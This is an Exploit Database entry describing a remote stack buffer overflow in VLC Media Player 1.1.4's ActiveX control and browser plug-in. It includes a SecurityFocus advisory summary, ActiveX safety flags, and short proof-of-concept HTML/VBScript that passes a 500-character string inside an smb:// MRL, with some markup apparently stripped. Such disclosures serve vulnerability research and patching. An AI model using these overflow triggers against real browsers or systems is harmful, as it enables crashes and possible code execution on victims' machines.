VideoLAN VLC Media Player 1.1.x – Calling Convention Remote Buffer Overflow

Exploit Database
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作者： shinnai

日期： 2010-11-02
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/35002/

source: https://www.securityfocus.com/bid/44909/info

VLC Media Player is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

Versions prior to VLC Media Player 1.1.5 for Windows are vulnerable.

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Hash: SHA1

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VLC Multimedia Plug-in and/or Activex 1.1.4 MRL handler remote buffer overflow

Author: shinnai

mail: shinnai[at]autistici[dot]org

site: http://www.shinnai.altervista.org/

This was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.

Note that the activex {9BE31822-FDAD-461B-AD51-BE1D1C159921} is marked as follow:

RegKey Safe for Script: True

RegKey Safe for Init: True

Implements IObjectSafety: True

IDisp Safe: Safe for untrusted: caller,data

IPersist Safe: Safe for untrusted: caller,data

IPStorage Safe: Safe for untrusted: caller,data

***

Note that the activex {E23FE9C6-778E-49D4-B537-38FCDE4887D8} is marked as follow:

RegKey Safe for Script: True

RegKey Safe for Init: True

Implements IObjectSafety: True

IDisp Safe: Safe for untrusted: caller,data

IPersist Safe: Safe for untrusted: caller,data

IPStorage Safe: Safe for untrusted: caller,data

Tested on:

Windows 7 professional full patched against Firefox 3.6.11

Windows 7 professional full patched against Internet Explorer 8

========================================================================================================================

Plug-in Version:

<html>

</html>

========================================================================================================================

Activex {9BE31822-FDAD-461B-AD51-BE1D1C159921} version:

<html>

buff = String(500, "A")

test.MRL = "smb://Something.com@www.Something.com/#{" & buff & "}"

</script>

</html>

========================================================================================================================

Activex {E23FE9C6-778E-49D4-B537-38FCDE4887D8} version:

<html>

buff = String(500, "A")

test.MRL = "smb://Something.com@www.Something.com/#{" & buff & "}"

</script>

</html>

========================================================================================================================

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